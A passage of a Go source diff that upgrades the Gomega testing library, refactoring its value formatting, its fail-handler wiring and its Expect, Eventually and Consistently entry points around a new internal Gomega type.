+		return fmt.Sprintf("%s | len:%d, cap:%d", v.Type(), v.Len(), v.Cap())
 	case reflect.Ptr:
-		return fmt.Sprintf("%T | %p", object, object)
+		return fmt.Sprintf("%s | 0x%x", v.Type(), v.Pointer())
 	case reflect.Slice:
-		v := reflect.ValueOf(object)
-		return fmt.Sprintf("%T | len:%d, cap:%d", object, v.Len(), v.Cap())
+		return fmt.Sprintf("%s | len:%d, cap:%d", v.Type(), v.Len(), v.Cap())
 	case reflect.Map:
-		v := reflect.ValueOf(object)
-		return fmt.Sprintf("%T | len:%d", object, v.Len())
+		return fmt.Sprintf("%s | len:%d", v.Type(), v.Len())
 	default:
-		return fmt.Sprintf("%T", object)
+		return fmt.Sprintf("%s", v.Type())
 	}
 }

@@ -226,14 +258,21 @@ func formatValue(value reflect.Value, indentation uint) string {
 		return "nil"
 	}

-	if UseStringerRepresentation {
-		if value.CanInterface() {
-			obj := value.Interface()
+	if value.CanInterface() {
+		obj := value.Interface()
+
+		// GomegaStringer will take precedence to other representations and disregards UseStringerRepresentation
+		if x, ok := obj.(GomegaStringer); ok {
+			// do not truncate a user-defined GoMegaString() value
+			return x.GomegaString()
+		}
+
+		if UseStringerRepresentation {
 			switch x := obj.(type) {
 			case fmt.GoStringer:
-				return x.GoString()
+				return truncateLongStrings(x.GoString())
 			case fmt.Stringer:
-				return x.String()
+				return truncateLongStrings(x.String())
 			}
 		}
 	}
@@ -264,26 +303,26 @@ func formatValue(value reflect.Value, indentation uint) string {
 	case reflect.Ptr:
 		return formatValue(value.Elem(), indentation)
 	case reflect.Slice:
-		return formatSlice(value, indentation)
+		return truncateLongStrings(formatSlice(value, indentation))
 	case reflect.String:
-		return formatString(value.String(), indentation)
+		return truncateLongStrings(formatString(value.String(), indentation))
 	case reflect.Array:
-		return formatSlice(value, indentation)
+		return truncateLongStrings(formatSlice(value, indentation))
 	case reflect.Map:
-		return formatMap(value, indentation)
+		return truncateLongStrings(formatMap(value, indentation))
 	case reflect.Struct:
 		if value.Type() == timeType && value.CanInterface() {
 			t, _ := value.Interface().(time.Time)
 			return t.Format(time.RFC3339Nano)
 		}
-		return formatStruct(value, indentation)
+		return truncateLongStrings(formatStruct(value, indentation))
 	case reflect.Interface:
-		return formatValue(value.Elem(), indentation)
+		return formatInterface(value, indentation)
 	default:
 		if value.CanInterface() {
-			return fmt.Sprintf("%#v", value.Interface())
+			return truncateLongStrings(fmt.Sprintf("%#v", value.Interface()))
 		}
-		return fmt.Sprintf("%#v", value)
+		return truncateLongStrings(fmt.Sprintf("%#v", value))
 	}
 }

@@ -373,6 +412,10 @@ func formatStruct(v reflect.Value, indentation uint) string {
 	return fmt.Sprintf("{%s}", strings.Join(result, ", "))
 }

+func formatInterface(v reflect.Value, indentation uint) string {
+	return fmt.Sprintf("<%s>%s", formatType(v.Elem()), formatValue(v.Elem(), indentation))
+}
+
 func isNilValue(a reflect.Value) bool {
 	switch a.Kind() {
 	case reflect.Invalid:
@@ -14,101 +14,162 @@ Gomega is MIT-Licensed
 package gomega

 import (
+	"errors"
 	"fmt"
-	"reflect"
 	"time"

-	"github.com/onsi/gomega/internal/assertion"
-	"github.com/onsi/gomega/internal/asyncassertion"
-	"github.com/onsi/gomega/internal/testingtsupport"
+	"github.com/onsi/gomega/internal"
 	"github.com/onsi/gomega/types"
 )

-const GOMEGA_VERSION = "1.10.0"
+const GOMEGA_VERSION = "1.20.2"

-const nilFailHandlerPanic = `You are trying to make an assertion, but Gomega's fail handler is nil.
+const nilGomegaPanic = `You are trying to make an assertion, but haven't registered Gomega's fail handler.
 If you're using Ginkgo then you probably forgot to put your assertion in an It().
 Alternatively, you may have forgotten to register a fail handler with RegisterFailHandler() or RegisterTestingT().
 Depending on your vendoring solution you may be inadvertently importing gomega and subpackages (e.g. ghhtp, gexec,...) from different locations.
 `

-var globalFailWrapper *types.GomegaFailWrapper
+// Gomega describes the essential Gomega DSL. This interface allows libraries
+// to abstract between the standard package-level function implementations
+// and alternatives like *WithT.
+//
+// The types in the top-level DSL have gotten a bit messy due to earlier deprecations that avoid stuttering
+// and due to an accidental use of a concrete type (*WithT) in an earlier release.
+//
+// As of 1.15 both the WithT and Ginkgo variants of Gomega are implemented by the same underlying object
+// however one (the Ginkgo variant) is exported as an interface (types.Gomega) whereas the other (the withT variant)
+// is shared as a concrete type (*WithT, which is aliased to *internal.Gomega).  1.15 did not clean this mess up to ensure
+// that declarations of *WithT in existing code are not broken by the upgrade to 1.15.
+type Gomega = types.Gomega

-var defaultEventuallyTimeout = time.Second
-var defaultEventuallyPollingInterval = 10 * time.Millisecond
-var defaultConsistentlyDuration = 100 * time.Millisecond
-var defaultConsistentlyPollingInterval = 10 * time.Millisecond
+// DefaultGomega supplies the standard package-level implementation
+var Default = Gomega(internal.NewGomega(internal.FetchDefaultDurationBundle()))
+
+// NewGomega returns an instance of Gomega wired into the passed-in fail handler.
+// You generally don't need to use this when using Ginkgo - RegisterFailHandler will wire up the global gomega
+// However creating a NewGomega with a custom fail handler can be useful in contexts where you want to use Gomega's
+// rich ecosystem of matchers without causing a test to fail.  For example, to aggregate a series of potential failures
+// or for use in a non-test setting.
+func NewGomega(fail types.GomegaFailHandler) Gomega {
+	return internal.NewGomega(internalGomega(Default).DurationBundle).ConfigureWithFailHandler(fail)
+}
+
+// WithT wraps a *testing.T and provides `Expect`, `Eventually`, and `Consistently` methods.  This allows you to leverage
+// Gomega's rich ecosystem of matchers in standard `testing` test suites.
+//
+// Use `NewWithT` to instantiate a `WithT`
+//
+// As of 1.15 both the WithT and Ginkgo variants of Gomega are implemented by the same underlying object
+// however one (the Ginkgo variant) is exported as an interface (types.Gomega) whereas the other (the withT variant)
+// is shared as a concrete type (*WithT, which is aliased to *internal.Gomega).  1.15 did not clean this mess up to ensure
+// that declarations of *WithT in existing code are not broken by the upgrade to 1.15.
+type WithT = internal.Gomega
+
+// GomegaWithT is deprecated in favor of gomega.WithT, which does not stutter.
+type GomegaWithT = WithT
+
+// inner is an interface that allows users to provide a wrapper around Default.  The wrapper
+// must implement the inner interface and return either the original Default or the result of
+// a call to NewGomega().
+type inner interface {
+	Inner() Gomega
+}
+
+func internalGomega(g Gomega) *internal.Gomega {
+	if v, ok := g.(inner); ok {
+		return v.Inner().(*internal.Gomega)
+	}
+	return g.(*internal.Gomega)
+}
+
+// NewWithT takes a *testing.T and returns a `gomega.WithT` allowing you to use `Expect`, `Eventually`, and `Consistently` along with
+// Gomega's rich ecosystem of matchers in standard `testing` test suits.
+//
+//    func TestFarmHasCow(t *testing.T) {
+//        g := gomega.NewWithT(t)
+//
+//        f := farm.New([]string{"Cow", "Horse"})
+//        g.Expect(f.HasCow()).To(BeTrue(), "Farm should have cow")
+//     }
+func NewWithT(t types.GomegaTestingT) *WithT {
+	return internal.NewGomega(internalGomega(Default).DurationBundle).ConfigureWithT(t)
+}
+
+// NewGomegaWithT is deprecated in favor of gomega.NewWithT, which does not stutter.
+var NewGomegaWithT = NewWithT

 // RegisterFailHandler connects Ginkgo to Gomega. When a matcher fails
 // the fail handler passed into RegisterFailHandler is called.
-func RegisterFailHandler(handler types.GomegaFailHandler) {
-	RegisterFailHandlerWithT(testingtsupport.EmptyTWithHelper{}, handler)
+func RegisterFailHandler(fail types.GomegaFailHandler) {
+	internalGomega(Default).ConfigureWithFailHandler(fail)
 }

-// RegisterFailHandlerWithT ensures that the given types.TWithHelper and fail handler
-// are used globally.
-func RegisterFailHandlerWithT(t types.TWithHelper, handler types.GomegaFailHandler) {
-	if handler == nil {
-		globalFailWrapper = nil
-		return
-	}
-
-	globalFailWrapper = &types.GomegaFailWrapper{
-		Fail:        handler,
-		TWithHelper: t,
-	}
+// RegisterFailHandlerWithT is deprecated and will be removed in a future release.
+// users should use RegisterFailHandler, or RegisterTestingT
+func RegisterFailHandlerWithT(_ types.GomegaTestingT, fail types.GomegaFailHandler) {
+	fmt.Println("RegisterFailHandlerWithT is deprecated.  Please use RegisterFailHandler or RegisterTestingT instead.")
+	internalGomega(Default).ConfigureWithFailHandler(fail)
 }

 // RegisterTestingT connects Gomega to Golang's XUnit style
-// Testing.T tests.  It is now deprecated and you should use NewWithT() instead.
-//
-// Legacy Documentation:
-//
-// You'll need to call this at the top of each XUnit style test:
-//
-//    func TestFarmHasCow(t *testing.T) {
-//        RegisterTestingT(t)
-//
-//        f := farm.New([]string{"Cow", "Horse"})
-//        Expect(f.HasCow()).To(BeTrue(), "Farm should have cow")
-//    }
-//
-// Note that this *testing.T is registered *globally* by Gomega (this is why you don't have to
-// pass `t` down to the matcher itself).  This means that you cannot run the XUnit style tests
-// in parallel as the global fail handler cannot point to more than one testing.T at a time.
-//
-// NewWithT() does not have this limitation
-//
-// (As an aside: Ginkgo gets around this limitation by running parallel tests in different *processes*).
+// Testing.T tests.  It is now deprecated and you should use NewWithT() instead to get a fresh instance of Gomega for each test.
 func RegisterTestingT(t types.GomegaTestingT) {
-	tWithHelper, hasHelper := t.(types.TWithHelper)
-	if !hasHelper {
-		RegisterFailHandler(testingtsupport.BuildTestingTGomegaFailWrapper(t).Fail)
-		return
-	}
-	RegisterFailHandlerWithT(tWithHelper, testingtsupport.BuildTestingTGomegaFailWrapper(t).Fail)
+	internalGomega(Default).ConfigureWithT(t)
 }

 // InterceptGomegaFailures runs a given callback and returns an array of
 // failure messages generated by any Gomega assertions within the callback.
-//
-// This is accomplished by temporarily replacing the *global* fail handler
-// with a fail handler that simply annotates failures.  The original fail handler
-// is reset when InterceptGomegaFailures returns.
+// Execution continues after the first failure allowing users to collect all failures
+// in the callback.
 //
 // This is most useful when testing custom matchers, but can also be used to check
 // on a value using a Gomega assertion without causing a test failure.
 func InterceptGomegaFailures(f func()) []string {
-	originalHandler := globalFailWrapper.Fail
+	originalHandler := internalGomega(Default).Fail
 	failures := []string{}
-	RegisterFailHandler(func(message string, callerSkip ...int) {
+	internalGomega(Default).Fail = func(message string, callerSkip ...int) {
 		failures = append(failures, message)
-	})
+	}
+	defer func() {
+		internalGomega(Default).Fail = originalHandler
+	}()
 	f()
-	RegisterFailHandler(originalHandler)
 	return failures
 }

+// InterceptGomegaFailure runs a given callback and returns the first
+// failure message generated by any Gomega assertions within the callback, wrapped in an error.
+//
+// The callback ceases execution as soon as the first failed assertion occurs, however Gomega
+// does not register a failure with the FailHandler registered via RegisterFailHandler - it is up
+// to the user to decide what to do with the returned error
+func InterceptGomegaFailure(f func()) (err error) {
+	originalHandler := internalGomega(Default).Fail
+	internalGomega(Default).Fail = func(message string, callerSkip ...int) {
+		err = errors.New(message)
+		panic("stop execution")
+	}
+
+	defer func() {
+		internalGomega(Default).Fail = originalHandler
+		if e := recover(); e != nil {
+			if err == nil {
+				panic(e)
+			}
+		}
+	}()
+
+	f()
+	return err
+}
+
+func ensureDefaultGomegaIsConfigured() {
+	if !internalGomega(Default).IsConfigured() {
+		panic(nilGomegaPanic)
+	}
+}
+
 // Ω wraps an actual value allowing assertions to be made on it:
 //    Ω("foo").Should(Equal("foo"))
 //
@@ -127,7 +188,8 @@ func InterceptGomegaFailures(f func()) []string {
 //
 // Ω and Expect are identical
 func Ω(actual interface{}, extra ...interface{}) Assertion {
-	return ExpectWithOffset(0, actual, extra...)
+	ensureDefaultGomegaIsConfigured()
+	return Default.Ω(actual, extra...)
 }

 // Expect wraps an actual value allowing assertions to be made on it:
@@ -148,146 +210,183 @@ func Ω(actual interface{}, extra ...interface{}) Assertion {
 //
 // Expect and Ω are identical
 func Expect(actual interface{}, extra ...interface{}) Assertion {
-	return ExpectWithOffset(0, actual, extra...)
+	ensureDefaultGomegaIsConfigured()
+	return Default.Expect(actual, extra...)
 }

 // ExpectWithOffset wraps an actual value allowing assertions to be made on it:
 //    ExpectWithOffset(1, "foo").To(Equal("foo"))
 //
 // Unlike `Expect` and `Ω`, `ExpectWithOffset` takes an additional integer argument
-// that is used to modify the call-stack offset when computing line numbers.
+// that is used to modify the call-stack offset when computing line numbers. It is
+// the same as `Expect(...).WithOffset`.
 //
 // This is most useful in helper functions that make assertions.  If you want Gomega's
 // error message to refer to the calling line in the test (as opposed to the line in the helper function)
 // set the first argument of `ExpectWithOffset` appropriately.
 func ExpectWithOffset(offset int, actual interface{}, extra ...interface{}) Assertion {
-	if globalFailWrapper == nil {
-		panic(nilFailHandlerPanic)
-	}
-	return assertion.New(actual, globalFailWrapper, offset, extra...)
+	ensureDefaultGomegaIsConfigured()
+	return Default.ExpectWithOffset(offset, actual, extra...)
 }

-// Eventually wraps an actual value allowing assertions to be made on it.
-// The assertion is tried periodically until it passes or a timeout occurs.
-//
-// Both the timeout and polling interval are configurable as optional arguments:
-// The first optional argument is the timeout
-// The second optional argument is the polling interval
-//
-// Both intervals can either be specified as time.Duration, parsable duration strings or as floats/integers.  In the
-// last case they are interpreted as seconds.
-//
-// If Eventually is passed an actual that is a function taking no arguments and returning at least one value,
-// then Eventually will call the function periodically and try the matcher against the function's first return value.
-//
-// Example:
-//
-//    Eventually(func() int {
-//        return thingImPolling.Count()
-//    }).Should(BeNumerically(">=", 17))
-//
-// Note that this example could be rewritten:
-//
-//    Eventually(thingImPolling.Count).Should(BeNumerically(">=", 17))
-//
-// If the function returns more than one value, then Eventually will pass the first value to the matcher and
-// assert that all other values are nil/zero.
-// This allows you to pass Eventually a function that returns a value and an error - a common pattern in Go.
-//
-// For example, consider a method that returns a value and an error:
-//    func FetchFromDB() (string, error)
-//
-// Then
-//    Eventually(FetchFromDB).Should(Equal("hasselhoff"))
-//
-// Will pass only if the the returned error is nil and the returned string passes the matcher.
-//
-// Eventually's default timeout is 1 second, and its default polling interval is 10ms
+/*
+Eventually enables making assertions on asynchronous behavior.
+
+Eventually checks that an assertion *eventually* passes.  Eventually blocks when called and attempts an assertion periodically until it passes or a timeout occurs.  Both the timeout and polling interval are configurable as optional arguments.
+The first optional argument is the timeout (which defaults to 1s), the second is the polling interval (which defaults to 10ms).  Both intervals can be specified as time.Duration, parsable duration strings or floats/integers (in which case they are interpreted as seconds).
+
+Eventually works with any Gomega compatible matcher and supports making assertions against three categories of actual value:
+
+**Category 1: Making Eventually assertions on values**
+
+There are several examples of values that can change over time.  These can be passed in to Eventually and will be passed to the matcher repeatedly until a match occurs.  For example:
+
+    c := make(chan bool)
+    go DoStuff(c)
+    Eventually(c, "50ms").Should(BeClosed())
+
+will poll the channel repeatedly until it is closed.  In this example `Eventually` will block until either the specified timeout of 50ms has elapsed or the channel is closed, whichever comes first.
+
+Several Gomega libraries allow you to use Eventually in this way.  For example, the gomega/gexec package allows you to block until a *gexec.Session exits successfully via:
+
+    Eventually(session).Should(gexec.Exit(0))
+
+And the gomega/gbytes package allows you to monitor a streaming *gbytes.Buffer until a given string is seen:
+
+	Eventually(buffer).Should(gbytes.Say("hello there"))
+
+In these examples, both `session` and `buffer` are designed to be thread-safe when polled by the `Exit` and `Say` matchers.  This is not true in general of most raw values, so while it is tempting to do something like:
+
+	// THIS IS NOT THREAD-SAFE
+	var s *string
+	go mutateStringEventually(s)
+	Eventually(s).Should(Equal("I've changed"))
+
+this will trigger Go's race detector as the goroutine polling via Eventually will race over the value of s with the goroutine mutating the string.  For cases like this you can use channels or introduce your own locking around s by passing Eventually a function.
+
+**Category 2: Make Eventually assertions on functions**
+
+Eventually can be passed functions that **take no arguments** and **return at least one value**.  When configured this way, Eventually will poll the function repeatedly and pass the first returned value to the matcher.
+
+For example:
+
+    Eventually(func() int {
+    	return client.FetchCount()
+    }).Should(BeNumerically(">=", 17))
+
+ will repeatedly poll client.FetchCount until the BeNumerically matcher is satisfied.  (Note that this example could have been written as Eventually(client.FetchCount).Should(BeNumerically(">=", 17)))
+
+If multiple values are returned by the function, Eventually will pass the first value to the matcher and require that all others are zero-valued.  This allows you to pass Eventually a function that returns a value and an error - a common pattern in Go.
+
+For example, consider a method that returns a value and an error:
+    func FetchFromDB() (string, error)
+
+Then
+    Eventually(FetchFromDB).Should(Equal("got it"))
+
+will pass only if and when the returned error is nil *and* the returned string satisfies the matcher.
+
+It is important to note that the function passed into Eventually is invoked *synchronously* when polled.  Eventually does not (in fact, it cannot) kill the function if it takes longer to return than Eventually's configured timeout.  You should design your functions with this in mind.
+
+**Category 3: Making assertions _in_ the function passed into Eventually**
+
+When testing complex systems it can be valuable to assert that a _set_ of assertions passes Eventually.  Eventually supports this by accepting functions that take a single Gomega argument and return zero or more values.
+
+Here's an example that makes some assertions and returns a value and error:
+
+	Eventually(func(g Gomega) (Widget, error) {
+		ids, err := client.FetchIDs()
+		g.Expect(err).NotTo(HaveOccurred())
+		g.Expect(ids).To(ContainElement(1138))
+		return client.FetchWidget(1138)
+	}).Should(Equal(expectedWidget))
+
+will pass only if all the assertions in the polled function pass and the return value satisfied the matcher.
+
+Eventually also supports a special case polling function that takes a single Gomega argument and returns no values.  Eventually assumes such a function is making assertions and is designed to work with the Succeed matcher to validate that all assertions have passed.
+For example:
+
+    Eventually(func(g Gomega) {
+    	model, err := client.Find(1138)
+    	g.Expect(err).NotTo(HaveOccurred())
+    	g.Expect(model.Reticulate()).To(Succeed())
+    	g.Expect(model.IsReticulated()).To(BeTrue())
+    	g.Expect(model.Save()).To(Succeed())
+    }).Should(Succeed())
+
+will rerun the function until all assertions pass.
+
+`Eventually` specifying a timeout interval (and an optional polling interval) are
+the same as `Eventually(...).WithTimeout` or `Eventually(...).WithTimeout(...).WithPolling`.
+*/
 func Eventually(actual interface{}, intervals ...interface{}) AsyncAssertion {
-	return EventuallyWithOffset(0, actual, intervals...)
+	ensureDefaultGomegaIsConfigured()
+	return Default.Eventually(actual, intervals...)
 }

 // EventuallyWithOffset operates like Eventually but takes an additional
 // initial argument to indicate an offset in the call stack.  This is useful when building helper
 // functions that contain matchers.  To learn more, read about `ExpectWithOffset`.
+//
+// `EventuallyWithOffset` is the same as `Eventually(...).WithOffset`.
+//
+// `EventuallyWithOffset` specifying a timeout interval (and an optional polling interval) are
+// the same as `Eventually(...).WithOffset(...).WithTimeout` or
+// `Eventually(...).WithOffset(...).WithTimeout(...).WithPolling`.
 func EventuallyWithOffset(offset int, actual interface{}, intervals ...interface{}) AsyncAssertion {
-	if globalFailWrapper == nil {
-		panic(nilFailHandlerPanic)
-	}
-	timeoutInterval := defaultEventuallyTimeout
-	pollingInterval := defaultEventuallyPollingInterval
-	if len(intervals) > 0 {
-		timeoutInterval = toDuration(intervals[0])
-	}
-	if len(intervals) > 1 {
-		pollingInterval = toDuration(intervals[1])
-	}
-	return asyncassertion.New(asyncassertion.AsyncAssertionTypeEventually, actual, globalFailWrapper, timeoutInterval, pollingInterval, offset)
+	ensureDefaultGomegaIsConfigured()
+	return Default.EventuallyWithOffset(offset, actual, intervals...)
 }

-// Consistently wraps an actual value allowing assertions to be made on it.
-// The assertion is tried periodically and is required to pass for a period of time.
-//
-// Both the total time and polling interval are configurable as optional arguments:
-// The first optional argument is the duration that Consistently will run for
-// The second optional argument is the polling interval
-//
-// Both intervals can either be specified as time.Duration, parsable duration strings or as floats/integers.  In the
-// last case they are interpreted as seconds.
-//
-// If Consistently is passed an actual that is a function taking no arguments and returning at least one value,
-// then Consistently will call the function periodically and try the matcher against the function's first return value.
-//
-// If the function returns more than one value, then Consistently will pass the first value to the matcher and
-// assert that all other values are nil/zero.
-// This allows you to pass Consistently a function that returns a value and an error - a common pattern in Go.
-//
-// Consistently is useful in cases where you want to assert that something *does not happen* over a period of time.
-// For example, you want to assert that a goroutine does *not* send data down a channel.  In this case, you could:
-//
-//   Consistently(channel).ShouldNot(Receive())
-//
-// Consistently's default duration is 100ms, and its default polling interval is 10ms
+/*
+Consistently, like Eventually, enables making assertions on asynchronous behavior.
+
+Consistently blocks when called for a specified duration.  During that duration Consistently repeatedly polls its matcher and ensures that it is satisfied.  If the matcher is consistently satisfied, then Consistently will pass.  Otherwise Consistently will fail.
+
+Both the total waiting duration and the polling interval are configurable as optional arguments.  The first optional argument is the duration that Consistently will run for (defaults to 100ms), and the second argument is the polling interval (defaults to 10ms).  As with Eventually, these intervals can be passed in as time.Duration, parsable duration strings or an integer or float number of seconds.
+
+Consistently accepts the same three categories of actual as Eventually, check the Eventually docs to learn more.
+
+Consistently is useful in cases where you want to assert that something *does not happen* for a period of time.  For example, you may want to assert that a goroutine does *not* send data down a channel.  In this case you could write:
+
+    Consistently(channel, "200ms").ShouldNot(Receive())
+
+This will block for 200 milliseconds and repeatedly check the channel and ensure nothing has been received.
+*/
 func Consistently(actual interface{}, intervals ...interface{}) AsyncAssertion {
-	return ConsistentlyWithOffset(0, actual, intervals...)
+	ensureDefaultGomegaIsConfigured()
+	return Default.Consistently(actual, intervals...)
 }

 // ConsistentlyWithOffset operates like Consistently but takes an additional
 // initial argument to indicate an offset in the call stack. This is useful when building helper
 // functions that contain matchers. To learn more, read about `ExpectWithOffset`.
+//
+// `ConsistentlyWithOffset` is the same as `Consistently(...).WithOffset` and
+// optional `WithTimeout` and `WithPolling`.
 func ConsistentlyWithOffset(offset int, actual interface{}, intervals ...interface{}) AsyncAssertion {
-	if globalFailWrapper == nil {
-		panic(nilFailHandlerPanic)
-	}
-	timeoutInterval := defaultConsistentlyDuration
-	pollingInterval := defaultConsistentlyPollingInterval
-	if len(intervals) > 0 {
-		timeoutInterval = toDuration(intervals[0])
-	}
-	if len(intervals) > 1 {
-		pollingInterval = toDuration(intervals[1])
-	}
-	return asyncassertion.New(asyncassertion.AsyncAssertionTypeConsistently, actual, globalFailWrapper, timeoutInterval, pollingInterval, offset)
+	ensureDefaultGomegaIsConfigured()
+	return Default.ConsistentlyWithOffset(offset, actual, intervals...)
 }

 // SetDefaultEventuallyTimeout sets the default timeout duration for Eventually. Eventually will repeatedly poll your condition until it succeeds, or until this timeout elapses.
 func SetDefaultEventuallyTimeout(t time.Duration) {
-	defaultEventuallyTimeout = t
+	Default.SetDefaultEventuallyTimeout(t)
 }

 // SetDefaultEventuallyPollingInterval sets the default polling interval for Eventually.
 func SetDefaultEventuallyPollingInterval(t time.Duration) {
-	defaultEventuallyPollingInterval = t
+	Default.SetDefaultEventuallyPollingInterval(t)
 }

 // SetDefaultConsistentlyDuration sets  the default duration for Consistently. Consistently will verify that your condition is satisfied for this long.
 func SetDefaultConsistentlyDuration(t time.Duration) {
-	defaultConsistentlyDuration = t
+	Default.SetDefaultConsistentlyDuration(t)
 }

 // SetDefaultConsistentlyPollingInterval sets the default polling interval for Consistently.
 func SetDefaultConsistentlyPollingInterval(t time.Duration) {
-	defaultConsistentlyPollingInterval = t
+	Default.SetDefaultConsistentlyPollingInterval(t)
 }

 // AsyncAssertion is returned by Eventually and Consistently and polls the actual value passed into Eventually against
@@ -305,13 +404,10 @@ func SetDefaultConsistentlyPollingInterval(t time.Duration) {
 //
 //   Eventually(myChannel).Should(Receive(), "Something should have come down the pipe.")
 //   Consistently(myChannel).ShouldNot(Receive(), func() string { return "Nothing should have come down the pipe." })
-type AsyncAssertion interface {
-	Should(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-	ShouldNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-}
+type AsyncAssertion = types.AsyncAssertion

 // GomegaAsyncAssertion is deprecated in favor of AsyncAssertion, which does not stutter.
-type GomegaAsyncAssertion = AsyncAssertion
+type GomegaAsyncAssertion = types.AsyncAssertion

 // Assertion is returned by Ω and Expect and compares the actual value to the matcher
 // passed to the Should/ShouldNot and To/ToNot/NotTo methods.
@@ -330,134 +426,10 @@ type GomegaAsyncAssertion = AsyncAssertion
 // Example:
 //
 //    Ω(farm.HasCow()).Should(BeTrue(), "Farm %v should have a cow", farm)
-type Assertion interface {
-	Should(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-	ShouldNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-
-	To(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-	ToNot(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-	NotTo(matcher types.GomegaMatcher, optionalDescription ...interface{}) bool
-}
+type Assertion = types.Assertion

 // GomegaAssertion is deprecated in favor of Assertion, which does not stutter.
-type GomegaAssertion = Assertion
+type GomegaAssertion = types.Assertion

 // OmegaMatcher is deprecated in favor of the better-named and better-organized types.GomegaMatcher but sticks around to support existing code that uses it
-type OmegaMatcher types.GomegaMatcher
-
-// WithT wraps a *testing.T and provides `Expect`, `Eventually`, and `Consistently` methods.  This allows you to leverage
-// Gomega's rich ecosystem of matchers in standard `testing` test suites.
-//
-// Use `NewWithT` to instantiate a `WithT`
-type WithT struct {
-	t types.GomegaTestingT
-}
-
-// GomegaWithT is deprecated in favor of gomega.WithT, which does not stutter.
-type GomegaWithT = WithT
-
-// NewWithT takes a *testing.T and returngs a `gomega.WithT` allowing you to use `Expect`, `Eventually`, and `Consistently` along with
-// Gomega's rich ecosystem of matchers in standard `testing` test suits.
-//
-//    func TestFarmHasCow(t *testing.T) {
-//        g := gomega.NewWithT(t)
-//
-//        f := farm.New([]string{"Cow", "Horse"})
-//        g.Expect(f.HasCow()).To(BeTrue(), "Farm should have cow")
-//     }
-func NewWithT(t types.GomegaTestingT) *WithT {
-	return &WithT{
-		t: t,
-	}
-}
-
-// NewGomegaWithT is deprecated in favor of gomega.NewWithT, which does not stutter.
-func NewGomegaWithT(t types.GomegaTestingT) *GomegaWithT {
-	return NewWithT(t)
-}
-
-// Expect is used to make assertions. See documentation for Expect.
-func (g *WithT) Expect(actual interface{}, extra ...interface{}) Assertion {
-	return assertion.New(actual, testingtsupport.BuildTestingTGomegaFailWrapper(g.t), 0, extra...)
-}
-
-// Eventually is used to make asynchronous assertions. See documentation for Eventually.
-func (g *WithT) Eventually(actual interface{}, intervals ...interface{}) AsyncAssertion {
-	timeoutInterval := defaultEventuallyTimeout
-	pollingInterval := defaultEventuallyPollingInterval
-	if len(intervals) > 0 {
-		timeoutInterval = toDuration(intervals[0])
-	}
-	if len(intervals) > 1 {
-		pollingInterval = toDuration(intervals[1])
-	}
-	return asyncassertion.New(asyncassertion.AsyncAssertionTypeEventually, actual, testingtsupport.BuildTestingTGomegaFailWrapper(g.t), timeoutInterval, pollingInterval, 0)
-}
-
-// Consistently is used to make asynchronous assertions. See documentation for Consistently.
-func (g *WithT) Consistently(actual interface{}, intervals ...interface{}) AsyncAssertion {
-	timeoutInterval := defaultConsistentlyDuration
-	pollingInterval := defaultConsistentlyPollingInterval
-	if len(intervals) > 0 {
-		timeoutInterval = toDuration(intervals[0])
-	}
-	if len(intervals) > 1 {
-		pollingInterval = toDuration(intervals[1])
-	}
-	return asyncassertion.New(asyncassertion.AsyncAssertionTypeConsistently, actual, testingtsupport.BuildTestingTGomegaFailWrapper(g.t), timeoutInterval, pollingInterval, 0)
-}
-
-func toDuration(input interface{}) time.Duration {
-	duration, ok := input.(time.Duration)
-	if ok {
-		return duration
-	}
-
-	value := reflect.ValueOf(input)
-	kind := reflect.TypeOf(input).Kind()
-
-	if reflect.Int <= kind && kind <= reflect.Int64 {
-		return time.Duration(value.Int()) * time.Second
-	} else if reflect.Uint <= kind && kind <= reflect.Uint64 {
-		return time.Duration(value.Uint()) * time.Second
-	} else if reflect.Float32 <= kind && kind <= reflect.Float64 {
-		return time.Duration(value.Float() * float64(time.Second))
-	} else if reflect.String == kind {
-		duration, err := time.ParseDuration(value.String())
-		if err != nil {
-			panic(fmt.Sprintf("%#v is not a valid parsable duration string.", input))
-		}
-		return duration
-	}
-
-	panic(fmt.Sprintf("%v is not a valid interval.  Must be time.Duration, parsable duration string or a number.", input))
-}
-
-// Gomega describes the essential Gomega DSL. This interface allows libraries
-// to abstract between the standard package-level function implementations
-// and alternatives like *WithT.
-type Gomega interface {
-	Expect(actual interface{}, extra ...interface{}) Assertion
-	Eventually(actual interface{}, intervals ...interface{}) AsyncAssertion
-	Consistently(actual interface{}, intervals ...interface{}) AsyncAssertion
-}
-
-type globalFailHandlerGomega struct{}
-
-// DefaultGomega supplies the standard package-level implementation
-var Default Gomega = globalFailHandlerGomega{}
-
-// Expect is used to make assertions. See documentation for Expect.
-func (globalFailHandlerGomega) Expect(actual interface{}, extra ...interface{}) Assertion {
-	return Expect(actual, extra...)
-}
-
-// Eventually is used to make asynchronous assertions. See documentation for Eventually.
-func (globalFailHandlerGomega) Eventually(actual interface{}, extra ...interface{}) AsyncAssertion {
-	return Eventually(actual, extra...)
-}
-
-// Consistently is used to make asynchronous assertions. See documentation for Consistently.
-func (globalFailHandlerGomega) Consistently(actual interface{}, extra ...interface{}) AsyncAssertion {
-	return Consistently(actual, extra...)
-}
+type OmegaMatcher = types.GomegaMatcher
@@ -0,0 +1,155 @@
+package internal
+
+import (
+	"fmt"
+	"reflect"
+
+	"github.com/onsi/gomega/types"
+)
+
+type Assertion struct {
+	actuals     []interface{} // actual value plus all extra values
+	actualIndex int           // value to pass to the matcher
+	vet         vetinari      // the vet to call before calling Gomega matcher
+	offset      int
+	g           *Gomega
+}
+
+// ...obligatory discworld reference, as "vetineer" doesn't sound ... quite right.
+type vetinari func(assertion *Assertion, optionalDescription ...interface{}) bool
+
+func NewAssertion(actualInput interface{}, g *Gomega, offset int, extra ...interface{}) *Assertion {
+	return &Assertion{
+		actuals:     append([]interface{}{actualInput}, extra...),
+		actualIndex: 0,
+		vet:         (*Assertion).vetActuals,
+		offset:      offset,
+		g:           g,
+	}
+}
+
+func (assertion *Assertion) WithOffset(offset int) types.Assertion {
+	assertion.offset = offset
+	return assertion
+}
+
+func (assertion *Assertion) Error() types.Assertion {
+	return &Assertion{
+		actuals:     assertion.actuals,
+		actualIndex: len(assertion.actuals) - 1,
+		vet:         (*Assertion).vetError,
+		offset:      assertion.offset,
+		g:           assertion.g,
+	}
+}
+
